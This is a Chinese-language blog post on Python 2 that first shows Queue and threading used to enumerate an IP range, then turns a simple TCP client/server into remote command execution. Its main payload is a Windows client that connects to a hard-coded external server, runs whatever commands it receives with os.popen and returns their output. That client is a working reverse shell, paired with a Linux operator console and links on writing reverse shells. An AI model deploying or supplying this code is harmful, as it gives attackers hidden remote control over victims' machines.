Python的Queue+Thread的使用、shell的编写

àì夳堔傛蜴生んèń 2022-09-29 15:47 97阅读 0赞

生产者消费者模式  
Queue模块

Import Queue

Queue = Queue.Queue()  
For I in range(10):  
Queue.put(i)

Queue.empty()判断是否为空

Queue.qsize() 返回其大小

取数据  
Queue.get() get一次就取出一次

# -*- coding: utf-8 -*-
    import threading
    import Queue
    #继承一个线程类threading.Thread
    class DoRun(threading.Thread):
        #结构方法，初始化属性，传入一个队列
        def __init__(self,queue):
        #继承结构方法
            threading.Thread.__init__(self)
        #两个下划线表示私有变量 
            self.__queue= queue
        def run(self):
            #线程的方法run start后执行的每次都取
            while not self.__queue.empty():
                ip = self.__queue.get()
                print ip
    def main():
        threads =[]
        thread_count = 10
        queue = Queue.Queue()
    
        for i in range(1,255):
            queue.put('106.42.25.'+str(i))
        for i in range(thread_count):
            threads.append(DoRun(queue))
        for i in threads:
            i.start()
    if __name__ == '__main__':
        main()

![这里写图片描述][SouthEast]

这么写确实快

利用Queue和线程实现生产者和消费者模式。恩，可以改善我之前的代码。加快很多。

SHELL

简单的cs模式  
Server

from socket import *
    from time import ctime
    
    HOST=''
    PORT = 2333
    BUFSIZE=1024
    
    ADDR = (HOST,PORT)
    
    tcpServer = socket(AF_INET,SOCK_STREAM)
    tcpServer.bind(ADDR)
    tcpServer.listen(5)
    
    while True:
        print 'wait for connection...'
        tcpClient,addr = tcpServer.accept()
        print '..connected from :'+str(addr)
        while True:
            data = tcpClient.recv(BUFSIZE)
            if not data:
                break;
            tcpClient.send('[%s]%s '%(ctime(),data))
    tcpClient.close()
    tcpServer.close

client

from socket import *
    from time import ctime
    
    HOST ='127.0.0.1'
    PORT =2333
    BUFSIZE=1024
    ADDR = (HOST,PORT)
    tcpClient = socket(AF_INET,SOCK_STREAM)
    tcpClient.connect(ADDR)
    
    while True:
        data = raw_input('~:')
        if not data:
            break
        tcpClient.send(data)
        data = tcpClient.recv(BUFSIZE)
        if not data:
            break
        print data
    tcpClient.close()

更改为可以操作shell命令  
**server**

#!/usr/local/bin/python
    from socket import *
    from time import ctime
    from subprocess import Popen,PIPE
    def main():
        HOST=''
        PORT = 2333
        BUFSIZE=1024
    
        ADDR = (HOST,PORT)
    
        tcpServer = socket(AF_INET,SOCK_STREAM)
        tcpServer.bind(ADDR)
        tcpServer.listen(5)
    
        while True:
            print 'wait for connection...'
            tcpClient,addr = tcpServer.accept()
            print '..connected from :'+str(addr)
            while True:
                data = tcpClient.recv(BUFSIZE)
                if not data:
                    break;
                cmd =Popen(['/bin/bash','-c',data],stdin=PIPE,stdout=PIPE)
                data = cmd.stdout.read()
                tcpClient.send('[%s]%s '%(ctime(),data))
        tcpClient.close()
        tcpServer.close
    if __name__ == '__main__':
        main()

client

from socket import *
    from time import ctime
    
    HOST ='123.206.15.80'
    PORT =2333
    BUFSIZE=1024
    ADDR = (HOST,PORT)
    tcpClient = socket(AF_INET,SOCK_STREAM)
    tcpClient.connect(ADDR)
    
    while True:
        data = raw_input('~:')
        if not data:
            break
        tcpClient.send(data)
        data = tcpClient.recv(BUFSIZE)
        if not data:
            break
        print data
    tcpClient.close()

让winodws作为客户端连接我的服务器。服务器一直监听

#windows-shell
    from socket import *
    from time import ctime
    # from subprocess import Popen,PIPE
    import os
    HOST ='123.206.15.80'
    PORT =2333
    BUFSIZE=1024
    ADDR = (HOST,PORT)
    tcpClient = socket(AF_INET,SOCK_STREAM)
    tcpClient.connect(ADDR)
    
    while True:
        try:
            data = tcpClient.recv(BUFSIZE)
            cmd =os.popen(data)
            data = cmd.read()
            print data
            tcpClient.send('[%s]%s '%(ctime(),data))
        except:
            pass
    tcpClient.close()

linux下运行

#!/usr/local/bin/python
    from socket import *
    from time import ctime
    def main():
        HOST='123.206.15.80'
        PORT = 2333
        BUFSIZE=1024
    
        ADDR = (HOST,PORT)
    
        tcpServer = socket(AF_INET,SOCK_STREAM)
        tcpServer.bind(ADDR)
        tcpServer.listen(5)
    
        while True:
            try:
                print 'wait for connection...'
                tcpClient,addr = tcpServer.accept()
                print '..connected from :'+str(addr)
                while True:
                    data = raw_input('~:')
                    if data=='quit':
                        tcpClient.close()
                        tcpServer.close
                    if data != "":
                        tcpClient.send(data)
                        data = tcpClient.recv(BUFSIZE)
                        if not data:
                            break
                        print data.decode('gbk').encode('utf-8')
    
            except:
                pass
        tcpClient.close()
        tcpServer.close
    if __name__ == '__main__':
        main()

![这里写图片描述][SouthEast 1]

![这里写图片描述][SouthEast 2]

反弹shell编写  
[http://blog.csdn.net/magicbreaker/article/details/2006972][http_blog.csdn.net_magicbreaker_article_details_2006972]  
[https://www.waitalone.cn/linux-shell-rebound-under-way.html][https_www.waitalone.cn_linux-shell-rebound-under-way.html]

[SouthEast]: /images/20220708/a313922de5774a878d1362503b20c9b7.png
[SouthEast 1]: /images/20220708/dfc3b65b1f484510a98952539c3164b3.png
[SouthEast 2]: /images/20220708/6faffca636624dfeaffde97d3d115be0.png
[http_blog.csdn.net_magicbreaker_article_details_2006972]: http://blog.csdn.net/magicbreaker/article/details/2006972
[https_www.waitalone.cn_linux-shell-rebound-under-way.html]: https://www.waitalone.cn/linux-shell-rebound-under-way.html